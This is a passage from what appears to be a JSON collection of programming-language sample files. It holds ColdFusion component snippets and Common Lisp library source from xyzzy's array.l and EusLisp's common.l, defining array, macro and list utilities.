settingService.getAllSettings(asStruct=true);\n\t\t\t\t// Get appropriate cache provider\n\t\t\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\t\t\tcache.clear(\"cb-content-pagewrapper-#arguments.slug#/\");\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tarray = [\n\t\t\t\t1,\n\t\t\t\t2,\n\t\t\t\t3,\n\t\t\t\t4,\n\t\t\t\t5,\n\t\t\t\t'test',\n\t\t\t\t'testing',\n\t\t\t\t'testerton',\n\t\t\t\t{\n\t\t\t\t\tfoo = true,\n\t\t\t\t\tbrad = false,\n\t\t\t\t\twood = null\n\t\t\t\t}\n\t\t\t],\n\t\t\tlast = \"final\"\n\t\t};\n\t}\n\t\n\tprivate function arrayliteralTest(){\n\t\treturn [\n\t\t\t1,\n\t\t\t2,\n\t\t\t3,\n\t\t\t4,\n\t\t\t5,\n\t\t\t'test',\n\t\t\t'testing',\n\t\t\t'testerton',\n\t\t\t{\n\t\t\t\tfoo = true,\n\t\t\t\tbrad = false,\n\t\t\t\twood = null\n\t\t\t},\n\t\t\t'testy-von-testavich'\n\t\t];\n\t}\n\t\n}"
  },
  {
    "path": "samples/ColdFusion CFC/exampleTag.cfc",
    "content": "<cfcomponent>\n\t\n\t<cffunction name=\"init\" access=\"public\" returntype=\"any\">\n\t\t<cfargument name=\"arg1\" type=\"any\" required=\"true\">\n\t\t<cfset this.myVariable = arguments.arg1>\n\n\t\t<cfreturn this>\n\t</cffunction>\n\n\t<cffunction name=\"testFunc\" access=\"private\" returntype=\"void\">\n\t\t<cfargument name=\"arg1\" type=\"any\" required=\"false\">\n\t\t\n\t\t<cfif structKeyExists(arguments, \"arg1\")>\n\t\t\t<cfset writeoutput(\"Argument exists\")>\n\t\t</cfif>\n\t</cffunction>\n\t\n</cfcomponent>"
  },
  {
    "path": "samples/Common Lisp/array.l",
    "content": ";;; -*- Mode: Lisp; Package: LISP -*-\n;;;\n;;; This file is part of xyzzy.\n;;;\n\n(provide \"array\")\n\n(in-package \"lisp\")\n\n(export '(make-vector make-array vector array-dimensions array-in-bounds-p\n\t  upgraded-array-element-type adjust-array))\n\n(defun upgraded-array-element-type (type)\n  (cond ((or (eq type 't)\n\t     (null type))\n\t 't)\n\t((member type '(character base-character standard-char\n\t\t\textended-character) :test #'eq)\n\t 'character)\n\t(t\n\t (setq type (car (si:canonicalize-type type)))\n\t (cond ((or (eq type 't)\n\t\t    (null type))\n\t\t't)\n\t       ((member type '(character base-character standard-char\n\t\t\t       extended-character) :test #'eq)\n\t\t'character)\n\t       (t 't)))))\n\n(defun check-array-initialize-option (ies-p ics-p displaced-to)\n  (let ((x 0))\n    (and ies-p (incf x))\n    (and ics-p (incf x))\n    (and displaced-to (incf x))\n    (when (> x 1)\n      (error \":initial-element, :initial-contents, :displaced-to\"))))\n\n(defun make-vector (length &key\n\t\t\t   (element-type t)\n\t\t\t   (initial-element nil ies-p)\n\t\t\t   (initial-contents nil ics-p)\n\t\t\t   fill-pointer\n\t\t\t   adjustable\n\t\t\t   displaced-to\n\t\t\t   (displaced-index-offset 0))\n  (setq element-type (upgraded-array-element-type element-type))\n  (check-array-initialize-option ies-p ics-p displaced-to)\n  (let ((vector (si:*make-vector length element-type initial-element adjustable\n\t\t\t\t fill-pointer displaced-to displaced-index-offset)))\n    (when ics-p\n      (si:*copy-into-seq vector initial-contents))\n    vector))\n\n(defun make-array (dimensions &rest rest\n\t\t\t      &key\n\t\t\t      (element-type t)\n\t\t\t      (initial-element nil ies-p)\n\t\t\t      (initial-contents nil ics-p)\n\t\t\t      fill-pointer\n\t\t\t      adjustable\n\t\t\t      displaced-to\n\t\t\t      (displaced-index-offset 0))\n  (cond ((integerp dimensions)\n\t (apply #'make-vector dimensions rest))\n\t((= (length dimensions) 1)\n\t (apply #'make-vector (car dimensions) rest))\n\t(t\n\t (setq element-type (upgraded-array-element-type element-type))\n\t (check-array-initialize-option ies-p ics-p displaced-to)\n\t (when fill-pointer\n\t   (error \":fill-pointer\"))\n\t (let ((array (si:*make-array dimensions element-type\n\t\t\t\t      initial-element adjustable\n\t\t\t\t      displaced-to displaced-index-offset)))\n\t   (when ics-p\n\t     (let ((dims (make-list (array-rank array)\n\t\t\t\t    :initial-element 0))\n\t\t   (stack (list initial-contents))\n\t\t   (rank (1- (array-rank array))))\n\t       (dolist (x dims)\n\t\t (push (elt (car stack) 0) stack))\n\t       (dotimes (i (array-total-size array))\n\t\t (setf (row-major-aref array i) (car stack))\n\t\t (do ((x dims (cdr x))\n\t\t      (j rank (1- j)))\n\t\t     ((null x))\n\t\t   (pop stack)\n\t\t   (incf (car x))\n\t\t   (when (< (car x) (array-dimension array j))\n\t\t     (do ((r (- rank j) (1- r)))\n\t\t\t ((< r 0))\n\t\t       (push (elt (car stack) (nth r dims)) stack))\n\t\t     (return))\n\t\t   (setf (car x) 0)))))\n\t   array))))\n\n(defun vector (&rest list)\n  (make-vector (length list) :element-type t :initial-contents list))\n\n(defun array-dimensions (array)\n  (do ((i (1- (array-rank array)) (1- i))\n       (dims '()))\n      ((minusp i) dims)\n    (push (array-dimension array i) dims)))\n\n(defun array-in-bounds-p (array &rest subscripts)\n  (let ((r (array-rank array)))\n    (when (/= r (length subscripts))\n      (error \"subscripts: ~S\" subscripts))\n    (do ((i 0 (1+ i))\n\t (s subscripts (cdr s)))\n\t((= i r) t)\n      (unless (<= 0 (car s) (1- (array-dimension array i)))\n\t(return nil)))))\n\n(defun adjust-array (old-array\n\t\t     dimensions\n\t\t     &rest rest\n\t\t     &key\n\t\t     (element-type nil ets-p)\n\t\t     initial-element\n\t\t     (initial-contents nil ics-p)\n\t\t     (fill-pointer nil fps-p)\n\t\t     displaced-to\n\t\t     displaced-index-offset)\n  (when (/= (length dimensions) (array-rank old-array))\n    (error \"?\"))\n  (unless ets-p\n    (push (array-element-type old-array) rest)\n    (push :element-type rest))\n  (when (adjustable-array-p old-array)\n    (push t rest)\n    (push :adjustable rest))\n  (cond (fps-p\n\t (unless (array-has-fill-pointer-p old-array)\n\t   (error \"?\")))\n\t(t\n\t (when (array-has-fill-pointer-p old-array)\n\t   (push (fill-pointer old-array) rest)\n\t   (push :fill-pointer rest))))\n  (when (eq old-array displaced-to)\n    (error \"?\"))\n  (let ((new-array (apply #'make-array dimensions rest)))\n    (or ics-p displaced-to\n\t(copy-array-partially old-array new-array))\n    (cond ((adjustable-array-p old-array)\n\t   (si:*replace-array old-array new-array)\n\t   old-array)\n\t  (t\n\t   new-array))))\n\n(defun copy-array-partially (src dst)\n  (let* ((dims (mapcar #'min (array-dimensions src) (array-dimensions dst)))\n\t (r (array-rank src))\n\t (s (make-list r :initial-element 0)))\n    (setq r (1- r))\n    (dotimes (x (apply #'* dims))\n      (setf (apply #'aref dst s) (apply #'aref src s))\n      (do ((i r (1- i)))\n\t  ((minusp i))\n\t(incf (nth i s))\n\t(when (< (nth i s) (nth i dims))\n\t  (return))\n\t(setf (nth i s) 0)))))\n"
  },
  {
    "path": "samples/Common Lisp/common.l",
    "content": ";;; common.l\n;;; commonLisp features for eus\n;;;\t\n;;;\tCopyright(c)1988, Toshihiro MATSUI, Electrotechnical Laboratory\n;;;\t1986-Aug\n;;;\t1987-Feb\n;;;\t1988-Jun\tdefclass, setf\n\n(in-package \"LISP\")\n\n(list \"@(#)$Id: common.l,v 1.1.1.1 2003/11/20 07:46:30 eus Exp $\")\n\n(export '(lisp-implementation-type lisp-implementation-version))\n\n(export '(macroexpand prog1 loop unless until\n\t  pop push pushnew inc dec incf decf))\n\n(export '(defvar defparameter defconstant deflocal\n\tdotimes dolist\n\tdo-symbols do-external-symbols do-all-symbols\n\tpsetq do do* prog prog*\n\tcase classcase otherwise\n\tstring alias\n\tcaaar caadr cadar cdaar cdadr cddar cdddr\n\tfourth fifth sixth seventh eighth \n\tcadddr cddddr cadddr caaddr cdaddr caddddr\n\tflatten list-insert list-delete adjoin union intersection\n\tset-difference set-exclusive-or rotate-list last copy-tree\n\tcopy-list nreconc rassoc acons member assoc subsetp maplist mapcon))\n\n(export '(find find-if find-if-not position position-if position-if-not\n\tcount count-if count-if-not member-if member-if-not \n\tpairlis make-list make-sequence fill replace\n\ttranspose-list\n\tremove remove-if remove-if-not delete delete-if delete-if-not\n\tsubstitute substitute-if substitute-if-not \n\tnsubstitute nsubstitute-if nsubstitute-if-not\n\tunique remove-duplicates extream\n\tsend-super-lexpr send-lexpr send-super send-all resend\n\tsend-super* send*\n\tinstance instance* \n\tmake-instance defclassmethod delete-method\n\tmake-class defstruct defclass readtablep copy-readtable\n\tset-syntax-from-char\n\tcollect-if collect-instances\n))\n\n(export '(keywordp constantp functionp vector-class-p\n\tcompiled-function-p input-stream-p output-stream-p io-stream-p\n\tspecial-form-p macro-function))\n\n(export '(zerop plusp minusp oddp evenp /= logandc1 logandc2\n\tecase every some reduce merge-list merge expt signum\n\tdefsetf define-setf-method \n\tsetf multiple-value-bind multiple-value-setq pop push))\n(export '(get-internal-run-time  list-length values\n\t first second third bye))\n\n(export '(rad2deg deg2rad ))\n\n;; version\n(defun lisp-implementation-type () \"EusLisp\")\n(defun lisp-implementation-version ()\n\t(format nil\n\t        \"EusLisp ~A~A for ~A created on ~A(~A)\"\n\t\t(car lisp-implementation-version)\n\t\t(cdddr lisp-implementation-version)\n\t\t*OS-VERSION*\n\t\t(cadr lisp-implementation-version)\n                (caddr lisp-implementation-version)\n                ))\n(setq euserror nil)\n;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; basic macros\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(eval-when (load eval)\n\n(defun macroexpand (form)\n  (let ((r (macroexpand2 form)))\n    (while (and (listp r) (macro-function (car r)))\n\t(setq r (macroexpand2 r)))\n    r))\n\n;(defmacro defun (fname &rest fdef)\n;   `(progn\n;\t(setq (',fname . function) (cons 'lambda ',fdef))\n;        (remprop ',fname 'builtin-function-entry)\n;\t',fname))\n\n(defmacro prog1 (&rest args)\n   (let ((first (gensym \"PROG1\")))\n      `(let ((,first ,(car args)))\n\t  (progn . ,(cdr args)) ,first)))\n\n(defmacro loop (&rest forms) \n   (let ((tag (gensym \"LOOP\")))\n       `(block nil (tagbody ,tag ,@forms (go ,tag)))))\n(defmacro unless (pred &rest form)\n  `(when (not ,pred) . ,form))\n(defmacro until (condition &rest forms)\n   `(while (not ,condition) ,@forms))\n(defmacro pop (s) `(prog1 (car ,s) (setf ,s (cdr ,s))))\n(defmacro push (item place) `(setf ,place (cons ,item ,place)))\n(defmacro pushnew (item place &key test test-not key)\n   `(progn (if (not (member ,item ,place :test ,test :test-not ,test-not\n\t\t\t\t\t :key ,key))\n\t\t(setf ,place (cons ,item ,place)))\n\t   nil))\n(defmacro inc (var &optional h)\n   (if h (setq h (list '+ var h)) (setq h (list '1+ var)))\n   (list 'setq var h))\n(defmacro dec (var &optional h)\n   (if h (setq h (list '- var h)) (setq h (list '1- var)))\n   (list 'setq var h))\n(defmacro incf (var &optional h)\n   (if h (setq h (list '+ var h)) (setq h (list '1+ var)))\n   (list 'setf var h))\n(defmacro decf (var &optional h)\n   (if h (setq h (list '- var h)) (setq h (list '1- var)))\n   (list 'setf var h))\n\n(defmacro defvar (var &optional (init nil) (doc nil))\n   (unless (symbolp var) (error 20))\n  `(when (eql (send ',var :vtype) 1) \n\t(send ',var :vtype 2)\n        (if (not (boundp ',var))\n\t    (send ',var :global ,init ,doc ))\n\t',var))\n\n(defmacro deflocal (var &optional (init nil) (doc nil))\n   (unless (symbolp var) (error 20))\n   `(progn\n\t(send ',var :special ,init ,doc)\n\t',var))\n\n(defmacro defparameter (var init &optional (doc nil))\n   (unless (symbolp var) (error 20))\n   `(send ',var :global ,init ,doc))\n\n(defmacro defconstant (sym val &optional doc)\n   (unless (symbolp sym) (error 20))\n   `(send ',sym :constant ,val ,doc) )\n  \n\n(defmacro dotimes (vars &rest forms)\n  (let ((endvar (gensym \"DOTIMES\")))\n     `(let ((,(car vars) 0) (,endvar ,(cadr vars)))\n\t(declare (integer ,(car vars) ,endvar))\n\t(while (< ,(car vars) ,endvar)\n\t       ,@forms\n\t       (setq ,(car vars) (1+ ,(car vars))))\n\t,(caddr vars)))) \n\n(defmacro dolist (vars &rest forms)\n   (let ((lists (gensym \"DOLIST\")) (decl (car forms)))\n     (if (and (consp decl) (eq (car decl) 'declare))\n\t (setq forms (cdr forms))\n\t (setq decl nil))\n     `(let ((,(car vars) nil) (,lists ,(cadr vars)))\n\t,decl\n\t(while ,lists\n\t   (setq ,(car vars) (pop ,lists))\n\t   ,@forms)\n\t,(caddr vars)))) \n\n(defmacro do-symbols (vars &rest forms)\n   (let* ((symbols (gensym \"DOSYM\"))\n\t  (v (car vars))\n\t  (pkg (if (cadr vars) (cadr vars) '*package*))\n\t  (pkgv (gensym))\n\t  (i (gensym))\n\t  (size (gensym))\n\t  (svec (gensym))\n\t  )\n   `(let* ((,v nil)\n\t   (,pkgv (find-package ,pkg))\n\t   (,i 0)\n\t   (,svec (,pkgv . intsymvector))\n\t   (,size (length ,svec)))\n\t(while (< ,i ,size)\n\t   (setq ,v (elt ,svec ,i))\n\t   (inc ,i)\n\t   (when (symbolp ,v) . ,forms))\n\t,(caddr vars))))\n\n(defmacro do-external-symbols (vars &rest forms)\n   (let* ((symbols (gensym \"DOEXTSYM\"))\n\t  (v (car vars))\n\t  (pkg (if (cadr vars) (cadr vars) '*package*))\n\t  (pkgv (gensym))\n\t  (i (gensym))\n\t  (size (gensym))\n\t  (svec (gensym))\n\t  )\n   `(let* ((,v nil)\n\t   (,pkgv (find-package ,pkg))\n\t   (,i 0)\n\t   (,svec (,pkgv . symvector))\n\t   (,size (length ,svec)))\n\t(while (< ,i ,size)\n\t   (setq ,v (elt ,svec ,i))\n\t   (inc ,i)\n\t   (when (symbolp ,v) . ,forms))\n\t,(caddr vars))))\n\n(defmacro do-all-symbols (var &rest forms)\n   (let ((apackage (gensym \"DOALLSYM\")))\n      `(dolist (,apackage (list-all-packages) ,(cadr var))\n\t   (do-symbols (,(car var) ,apackage)  . ,forms) )\n       ))\n\n(defmacro psetq (&rest varvals)\n   (let* (vars vals gvars)\n      (while varvals\n\t(push (pop varvals) vars)\n\t(push (pop varvals) vals)\n\t(push (gensym \"PSETQ\") gvars))\n     (setq vars (nreverse vars) vals (nreverse vals) gvars (nreverse gvars))\n     `(let* ,(mapcar #'list gvars vals)\n\t(setq . ,(mapcan #'list vars gvars))\n\tnil)))\n\n(defmacro do (vars endtest &rest body)\n  (let ((decl (car body)) (tag (gensym \"DO\")))\n   (if  (and (consp decl) (eq (car decl) 'declare))\n\t(setq body (cdr body))\n\t(setq decl nil))\n   `(block nil\n     (let\n      ,(mapcar\n\t  #'(lambda (v) (list (car v) (cadr v)))\n\t  vars)\n      ,decl\n      (tagbody\n\t ,tag\n\t (if ,(car endtest) (return (progn . ,(cdr endtest))))\n\t ,@body\n\t (psetq . ,(mapcan #'(lambda (v) (if (cddr v) (list (car v) (caddr v))))\n\t\t       vars))\n\t (go ,tag))) )))\n\n(defmacro do* (vars endtest &rest body)\n  (let ((decl (car body)) (tag (gensym \"DO*\")))\n   (if  (and (consp decl) (eq (car decl) 'declare))\n\t(setq body (cdr body))\n\t(setq decl nil))\n   `(block nil\n     (let*\n      ,(mapcar\n\t  #'(lambda (v) (list (car v) (cadr v)))\n\t  vars)\n      ,decl\n      (tagbody\n\t ,tag\n\t (if ,(car endtest) (return (progn . ,(cdr endtest))))\n\t ,@body\n\t (setq . ,(mapcan #'(lambda (v) (if (cddr v) (list (car v) (caddr v))))\n\t\t       vars))\n\t(go ,tag))) )))\n\n\n(defmacro prog (vars &rest body)\n  `(block nil\n      (let ,vars \n\t (tagbody ,@body))))\n(defmacro prog* (vars &rest body)\n  `(block nil\n      (let* ,vars \n\t (tagbody ,@body))))\n\n)\n;;\n;;\tcase\n;;\n(eval-when (load eval)\n(defun casebody (body) (if (cdr body) (cons 'progn body) (car body)))\n\n(defun casehead (keyvar head)\n   (if (atom head)\n\t(if (memq head '(t otherwise))\n\t    t\n\t    (list 'eq keyvar (list 'quote head)))\n       (list 'memq keyvar (list 'quote head)) ))\n\n(defun case1 (keyvar clauses)\n  (if (atom clauses)\n      nil\n      (list 'if\n\t    (casehead keyvar (caar clauses))\n            (casebody (cdar clauses))\n\t    (case1 keyvar (cdr clauses)) nil)))\n\n(defmacro case (key &rest clauses)\n  (let ((keyvar (gensym \"CASE\")) (result nil))\n     (list 'let (list (list keyvar key)) (case1 keyvar clauses))\n  ))\n\n(defun classcasehead (keyvar head)\n  (if (memq head '(t otherwise))\n      t\n      (if (atom head)\n          `(derivedp ,keyvar ,head)\n          `(or . ,(mapcar #'(lambda (x) `(derivedp ,keyvar ,x)) head)))))\n\n(defun classcase1 (keyvar clauses)\n  (if (atom clauses)\n      nil\n      (list 'if\n\t    (classcasehead keyvar (caar clauses))\n            (casebody (cdar clauses))\n\t    (classcase1 keyvar (cdr clauses)) nil)))\n\n(defmacro classcase (key &rest clauses)\n   (let ((kv (gensym \"CCASE\")))\n      `(let ((,kv ,key)) ,(classcase1 kv clauses))))\n)\n\n;; string\n\n(defun string (x)\n  (if (stringp x) x\n      (if (symbolp x) (copy-seq (x . pname))\n\t  (if (numberp x) (format nil \"~d\" x)\n\t      (error x)))))\n\n;\n; more list functions\n;\n(eval-when (load eval)\n   (defun alias (new old) (setslot new symbol 'function\n\t\t\t\t   (symbol-function old)))\n   (alias 'list-length 'length)\n   (alias 'values 'list)\n   )\n\n(eval-when (load eval)\n(defun caaar (x) (car (caar x)))\n(defun caadr (x) (car (cadr x)))\n(defun cadar (x) (car (cdar x)))\n(defun cdaar (x) (cdr (caar x)))\n(defun cdadr (x) (cdr (cadr x)))\n(defun cddar (x) (cdr (cdar x)))\n(defun cdddr (x) (cdr (cddr x)))\n(alias 'first 'car)\n(alias 'second 'cadr)\n(alias 'third 'caddr)\n(defun fourth (x) (cadr (cddr x)))\n(defun fifth  (x) (caddr (cddr x)))\n(defun sixth  (x) (caddr (cdddr x)))\n(defun seventh  (x) (caddr (cddddr x)))\n(defun eighth  (x) (cadddr (cddddr x)))\n#|\n(defun cadddr (x) (car (cdddr x)))\n|#\n(defun cddddr (x) (cddr (cddr x)))\n(defun cadddr (x) (cadr (cddr x)))\n(defun caaddr (x) (caar (cddr x)))\n(defun cdaddr (x) (cdar (cddr x)))\n(defun caddddr (x) (cadr (cdddr x)))\n(defun flatten (l &optional accumulator)\n  (cond\n   ((null l) accumulator)\n   ((atom l) (cons l accumulator))\n   (t (flatten (car l)\n\t       (flatten (cdr l) accumulator)))) )\n\n(defun list-insert (item pos list)\n   \"insert item as the pos'th element in list.\nif pos is bigger than the length of list, item is nconc'ed at the tail\"\n   (cond ((null list) (list item))\n\t ((>= pos (length list)) (nconc list (list item)))\n\t ((= pos 0) (cons item list))\n\t (t (let ((tail (cons item (nthcdr pos list))))\n\t\t(rplacd (nthcdr  (1- pos) list) tail)\n\t\tlist))))\n\n(defun list-delete (lst n)\t\"(lst n) delete nth element of lst\"\n   (if (= n 0) \n\t(setq lst (cdr lst))\n\t(rplacd (nthcdr (1- n) lst) (nthcdr (1+ n) lst))  )\n   lst)\n\n(defun adjoin (item list &key (test #'eq) (test-not) (key #'identity))\n  (if (member item list :test test :test-not test-not :key key)\n      list\n      (cons item list)))\n\n(defun union (list1 list2 &key (test #'eq) (test-not) (key #'identity))\n  (let (result)\n    (dolist (item list1)\n      (unless (member (funcall key item) result\n\t\t      :test test :test-not test-not :key key)\n\t  (setq result (cons item result))))\n    (dolist (item list2)\n      (unless (member  (funcall key item) result \n\t\t       :test test :test-not test-not :key key)\n\t  (setq result (cons item result))))\n    (reverse result)))\n\n(defun intersection (list1 list2 &key (test #'eq) (test-not) (key #'identity))\n   (let (r)\n      (dolist (item list1)\n\t(if (member (funcall key item) list2\n\t\t    :test test :test-not test-not :key key)\n\t    (setq r (cons item r))))\n      r))\n\n(defun set-difference (list1 list2 &key (test #'eq) (test-not)\n\t\t\t\t\t(key #'identity))\n   (let (result)\n     (dolist (l1 list1)\n\t(unless (member (funcall key l1) list2\n\t\t\t:test test :test-not test-not :key key)\n\t   (push l1 result)))\n     (nreverse result)))\n\n(defun set-exclusive-or (list1 list2 &key (test #'eq) (test-not)\n\t\t\t\t\t  (key #'identity))\n   (let (result1 result2)\n     (dolist (l1 list1)\n\t(setq l1 (funcall key l1))\n\t(unless (member l1 list2 :test test :test-not test-not :key key)\n\t   (push l1 result1)))\n     (dolist (l2 list2)\n\t(setq l2 (funcall key l2))\n\t(unless (member l2 list1 :test test :test-not test-not :key key)\n\t   (push l2 result2)))\n     (nconc result1 result2)))\n\n(defun rotate-list (l) (append (cdr l) (list (car l))))\n(defun last (x)\n  (while (consp (cdr x)) (setq x (cdr x)))\n  x)\n(defun copy-tree (x) (subst t t x))\n(defun copy-list (x) (nreverse (reverse x)))\n(defun nreconc (x y) (nconc (nreverse x) y))\n(defun rassoc (item alist)\n  (dolist (a alist)\n     (if (equal item (cdr a)) (return-from rassoc a))))\n(defun acons (key datum alist) (cons (cons key datum) alist))\n(defun member (item list &key key test test-not)\n   (supermember item list key test test-not))\n(defun assoc (item alist &key key test test-not)\n   (superassoc item alist key test test-not))\n(defun subsetp (sub super &key key test test-not)\n   (every #'(lambda (s) (member s super :key key :test test :test-not test-not))\n\t  sub))\n(defun maplist (func arg &rest more-args &aux result)\n   (if more-args\n       (let (arglist margs)\n\t  (while arg\n\t     (setq arglist nil)\n\t     (push arg arglist)\n\t     (setq arg (cdr arg))\n\t     (setq margs more-args)\n\t     (while margs\n\t\t(push (car margs) arglist)\n\t\t(setf (car margs) (cdar margs))\n\t\t(setq margs (cdr margs)) )\n\t     (push (apply func (nreverse arglist)) result) ))\n        (while arg\n\t    (push (funcall func arg) result)\n\t    (setq arg (cdr arg)))) \n   (nreverse result))\n\n(defun mapcon (func arg &rest more-args &aux result)\n   (if more-args\n       (let (arglist margs)\n\t  (while arg\n\t     (setq arglist nil)\n\t     (push arg arglist)\n\t     (setq arg (cdr arg))\n\t     (setq margs more-args)\n\t     (while margs\n\t\t(push (car margs) arglist)\n\t\t(setf (car margs) (cdar margs))\n\t\t(setq margs (cdr margs)) )\n\t     (setq result (nconc (apply func (nreverse arglist)) result) )) )\n        (while arg\n\t    (setq result (nconc (funcall func arg) result))\n\t    (setq arg (cdr arg)))) \n   (nreverse result))\n\n(defun find (item seq &key (start 0) (end (length seq))\n\t\t           (test #'eq) (test-not nil) (key #'identity))\n   (system::raw-find item seq test test-not key nil nil start end))\n(defun find-if (pred seq &key (start 0) (end (length seq)) (key #'identity))\n   (system::raw-find nil seq nil nil key pred nil start end))\n(defun find-if-not (pred seq &key (start 0) (end (length seq)) (key #'identity))\n   (system::raw-find nil seq nil nil key nil pred start end))\n\n(defun position (item seq &key (start 0) (end (length seq)) (count 1)\n\t\t           (test #'eq) (test-not nil) (key #'identity))\n   (system::raw-position item seq test test-not key nil nil start end count))\n(defun position-if (pred seq &key (start 0) (end (length seq)) (count 1) (key #'identity))\n   (system::raw-position nil seq nil nil key pred nil start end count))\n(defun position-if-not (pred seq &key (start 0) (end (length seq)) (count 1) (key #'identity))\n   (system::raw-position nil seq nil nil key nil pred start end count))\n\n(defun count (item seq &key (start 0) (end (length seq))\n\t\t           (test #'eq) (test-not nil) (key #'identity))\n   (system::raw-count item seq test test-not key nil nil start end))\n(defun count-if (pred seq &key (start 0) (end (length seq)) (key #'identity))\n   (system::raw-count nil seq nil nil key pred nil start end))\n(defun count-if-not (pred seq &key (start 0) (end (length seq)) (key #'identity))\n   (system::raw-count nil seq nil nil key nil pred start end))\n(defun member-if (test list &key (key #'identity))\n   (while list\n      (if (funcall test (funcall key (car list))) \n\t  (return-from member-if list)\n\t  (setq list (cdr list)))))\n(defun member-if-not (test list &key (key #'identity))\n   (while list\n      (if (not (funcall test (funcall key (car list))) )\n\t  (return-from member-if-not list)\n\t  (setq list (cdr list)))))\n(defun collect-if (func seq &aux r)\n   (dolist (s seq)\n      (if (funcall func s) (push s r)) )\n   (nreverse r) )\n(defun collect-instances (klass list)\n   (collect-if #'(lambda (i) (derivedp i klass)) (flatten list)))\n\n(defun pairlis (l1 l2 &optional alist)\n   (if l1\n       (cons (cons (car l1) (car l2)) (pairlis (cdr l1) (cdr l2) alist))\n       alist))\n\n(defun transpose-list (dlist)\n   (let (r)\n      (dotimes (i (length (car dlist)))\n\t (push (mapcar #'(lambda (x) (nth i x)) dlist) r))\n      (nreverse r)))\n\n(defun make-list (leng &key initial-element)\n  (let (r)\n   (unless (integerp leng) (error \"integer required for length of make-list\"))\n   (dotimes (i leng r)\n\t(push initial-element r))))\n\n(defun make-sequence (type size &key initial-element)\n  (if (or (memq type '(cons list)) (eq type cons))\n      (make-list size :initial-element initial-element)\n      (make-array size :element-type type :initial-element initial-element)))\n\n(defun fill (seq item &key (start 0) (end (length seq)))\n   (system::raw-fill seq item start end))\n\n(defun replace (dest src &key (start1 0) (end1 (length dest))\n\t\t\t      (start2 0) (end2 (length src)))\n  (let ((result dest) (count (min (- end1 start1) (- end2 start2))))\n   (cond ((listp dest)\n\t  (setq dest (nthcdr start1 dest))\n\t  (cond ((listp src)\n\t\t (setq src (nthcdr start2 src))\n\t\t (dotimes (c count)\n\t\t    (setq (dest . car) (pop src))\n\t\t    (pop dest)))\n\t\t(t\n\t\t  (dotimes (c count)\n\t\t    (setq (dest . car) (aref src start2))\n\t\t    (inc start2) (pop dest)))))\n\t((listp src)\t; list --> vector\n\t (setq src (nthcdr start2 src))\n\t (dotimes (c count)\n\t    (aset dest start1 (pop src))\n\t    (inc start1)))\n\t(t (system::vector-replace dest src start1 end1 start2 end2)))\n    result))\n\n(defun remove (item seq &key (start 0) (end (length seq))\n\t\t\t      (test #'eq) (test-not nil)\n\t\t\t      (count 1000000) (key #'identity))\n    (system::universal-remove item seq test test-not key nil nil start end count))\n(defun remove-if (pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::universal-remove nil seq nil nil key pred nil start end count))\n(defun remove-if-not (pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::universal-remove nil seq nil nil key nil pred start end count))\n\n(defun delete (item seq &key (start 0) (end (length seq))\n\t\t\t      (test #'eq) (test-not nil)\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-delete item seq test test-not key nil nil start end count))\n(defun delete-if (pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-delete nil seq nil nil key pred nil start end count))\n(defun delete-if-not (pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-delete nil seq nil nil key nil pred start end count))\n\n(defun substitute (newitem olditem seq &key (start 0) (end (length seq))\n\t\t\t      (test #'eq) (test-not nil)\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-substitute newitem olditem seq test test-not key nil nil start end count))\n(defun substitute-if (newitem pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-substitute newitem nil seq nil nil key pred nil start end count))\n(defun substitute-if-not (newitem pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-substitute newitem nil seq nil nil key nil pred start end count))\n\n(defun nsubstitute (newitem olditem seq &key (start 0) (end (length seq))\n\t\t\t      (test #'eq) (test-not nil)\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-nsubstitute newitem olditem seq test test-not key nil nil start end count))\n(defun nsubstitute-if (newitem pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-nsubstitute newitem nil seq nil nil key pred nil start end count))\n(defun nsubstitute-if-not (newitem pred seq &key (start 0) (end (length seq))\n\t\t\t      (count 1000000) (key #'identity))\n    (system::raw-nsubstitute newitem nil seq nil nil key nil pred start end count))\n\n(defun unique (l)\n   (cond\n      ((atom (cdr l)) l)\n      ((memq (car l) (cdr l)) (unique (cdr l)))\n      (t (cons (car l) (unique (cdr l))))))\n\n(defun remove-duplicates (seq &key (test #'eq) (test-not) (key #'identity)\n\t\t\t\t   (start 0) (end 1000000))\n   (system::raw-remove-duplicates seq test test-not key start end))\n\n(defun extream (seq test &optional (key #'identity))\n   (if (null seq)\n       nil\n       (let* ((ext (elt seq 0))  (p (funcall key ext)) x)\n\t  (if (consp seq)\n\t      (dolist (v (cdr seq))\n\t\t   (when (funcall test (funcall key v) p)\n\t\t      (setq ext v\n\t\t\t    p   (funcall key ext))) ) \n\t      (dotimes (i (length seq))\n\t\t   (when (funcall test\n\t\t\t\t  (funcall key (setq x (aref seq i)))\n\t\t\t\t  p)\n\t\t      (setq ext x\n\t\t\t    p   (funcall key ext)))) )\n          ext)) )\n) ;eval-when\n\n\f\n;;;\n;;; equivalent pairs from WINSTON\n;;;\n\n#|\n(eval-when (load eval)\n(defun coalesce (pairs) (coalesce-aux pairs nil))\n(defun coalesce-aux (pairs classes)\n  (cond ((null pairs) classes)\n\t(t (coalesce-aux (cdr pairs)\n\t\t\t (absorb (car pairs) classes)))))\n(defun stick-in (new classes)\n  (cond ((member new (car classes)) classes)\n\t(t (cons (cons new (car classes))\n\t\t (cdr classes)))))\n(defun absorb (pair classes)\n  (cond ((null classes) (list pair))\n\t((member (car pair) (car classes))\n\t (stick-in (cadr pair) classes))\n\t((member (cadr pair) (car classes))\n\t (stick-in (car pair) classes))\n\t(t (cons (car classes)\n\t\t (absorb pair (cdr 